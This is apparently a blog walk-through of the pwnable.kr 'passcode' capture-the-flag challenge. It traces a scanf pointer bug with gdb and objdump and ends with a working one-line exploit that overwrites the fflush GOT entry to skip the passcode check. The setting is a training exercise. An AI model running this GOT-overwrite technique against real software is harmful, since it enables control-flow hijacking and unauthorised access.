Pwnable.kr Passcode Walk-through
Pwnable.kr Passcode Walk-though
Here is a walk-through of the passcode challenge on Pwnable.kr.
After logging into the remote server, we can look at the C source. The authentication check seems pretty simple:
if (passcode1 == 338150 && passcode2 == 13371337) {
printf("Login OK!\n");
system("/bin/cat flag");
}
Therefore if we can put the correct magic numbers into the two passcode integers the flag will be printed. It can’t be that simple, can it? Let’s run the program and see:
> ./passcode
enter you name : matthew
Welcome matthew!
enter passcode1 : 338150
Segmentation fault
Clearly not. The program crashes even with reasonable inputs…
There is a clue in the challenge description that the C program produces compiler warnings. Let’s try compiling and see if that provides any insights. Running:
gcc passcode.c
fails to create an output file due to permissions, but does provide the following warnings:
passcode.c: In function ‘login’:
passcode.c:9:8: warning: format ‘%d’ expects argument of type ‘int *’, but argument 2 has type ‘int’ [-Wformat=]
scanf("%d", passcode1);
^
passcode.c:14:15: warning: format ‘%d’ expects argument of type ‘int *’, but argument 2 has type ‘int’ [-Wformat=]
scanf("%d", passcode2);
^
Well, here’s the cause of the segmentation fault. The passcodes are being written to arbitrary memory addresses. This suggests that if we could somehow control these memory addresses we could populate them with data of our choice.
Taking another look at the code we can see that the name input is 100 bytes long. It can’t be overflowed, however, due
to the scanf
format string. Nor is there a format string vulnerability in the subsequent printf
:
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
OK then. Let’s just fill the buffer with 100 ‘A’s and use gdb
to see what happens:
> python -c "from __future__ import print_function ; print('A'*100, end='')" > /tmp/pcex123
gdb -q passcode
(gdb) set disassembly intel
(gdb) b login
(gdb) run < /tmp/pcex123
(gdb) layout asm
The passcode addresses can be seen looking at the disassembly of the login
function:
0x8048577 <login+19> mov eax,0x8048783
0x804857c <login+24> mov edx,DWORD PTR [ebp-0x10]
0x804857f <login+27> mov DWORD PTR [esp+0x4],edx
0x8048583 <login+31> mov DWORD PTR [esp],eax
0x8048586 <login+34> call 0x80484a0 <__isoc99_scanf@plt>
and:
0x80485a5 <login+65> mov eax,0x8048783
0x80485aa <login+70> mov edx,DWORD PTR [ebp-0xc]
0x80485ad <login+73> mov DWORD PTR [esp+0x4],edx
0x80485b1 <login+77> mov DWORD PTR [esp],eax
0x80485b4 <login+80> call 0x80484a0 <__isoc99_scanf@plt>
The only difference between these two blocks of code is the value placed onto the stack from edx
. For passcode1
it’s the content of ebp-0x10
and for passcode2
it’s the content of ebp-0xc
. The fact that these two stack addresses
are only 4 bytes apart (the size of an int
) corroborates that these are the passcodes.
Looking at the content of these addresses:
(gdb) x/x $ebp-0x10
0xff8e84d8: 0x41414141
(gdb) x/x $ebp-0xc
0xff8e84dc: 0xad1ce200
we can see that passcode1
has been written into with ‘A’s (0x41 is the ASCII hex value of ‘A’), but passcode2
has not.
So, we can manipulate the value of passcode1
but not passcode2
. That suggests that we need to somehow bypass the
expression in the if
statement which checks the passcodes. We can’t patch the binary, though, since we don’t have
permission and the text (code) segment is read-only. What we need is a way to modify data that controls the execution flow.
The Global Offset Table (GOT) holds memory addresses of functions in shared libraries which a process links to at runtime. Since the memory addresses of the shared functions are not known when the process is compiled, the GOT is updated during process start-up. This means it is writable by the process and a useful control point for us.
Helpfully (!) there is a library call to fflush
right after the scanf
for passcode1
:
scanf("%d", passcode1);
fflush(stdin);
By running:
objdump -R passcode
we can see that the address of the GOT entry for fflush
is 0x0804a004:
passcode: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049ff0 R_386_GLOB_DAT __gmon_start__
0804a02c R_386_COPY stdin@@GLIBC_2.0
0804a000 R_386_JUMP_SLOT printf@GLIBC_2.0
0804a004 R_386_JUMP_SLOT fflush@GLIBC_2.0 <----------------
0804a008 R_386_JUMP_SLOT __stack_chk_fail@GLIBC_2.4
0804a00c R_386_JUMP_SLOT puts@GLIBC_2.0
0804a010 R_386_JUMP_SLOT system@GLIBC_2.0
0804a014 R_386_JUMP_SLOT __gmon_start__
0804a018 R_386_JUMP_SLOT exit@GLIBC_2.0
0804a01c R_386_JUMP_SLOT __libc_start_main@GLIBC_2.0
0804a020 R_386_JUMP_SLOT __isoc99_scanf@GLIBC_2.7
And looking at the disassembly of the login
function with:
objdump -d -Mintel passcode
we can see that the address we want to write (to jump over the if
check) is 0x080485e3, which is 134514147 in decimal:
...
80485e3: c7 04 24 af 87 04 08 mov DWORD PTR [esp],0x80487af
80485ea: e8 71 fe ff ff call 8048460 <system@plt>
...
Armed with those two addresses and taking into account that x86 is little-endian, let’s try out our exploit:
python -c "from __future__ import print_function ; print('A'*96 + '\x04\xa0\x04\x08' + '134514147', end='')" | ./passcode
And we capture the flag!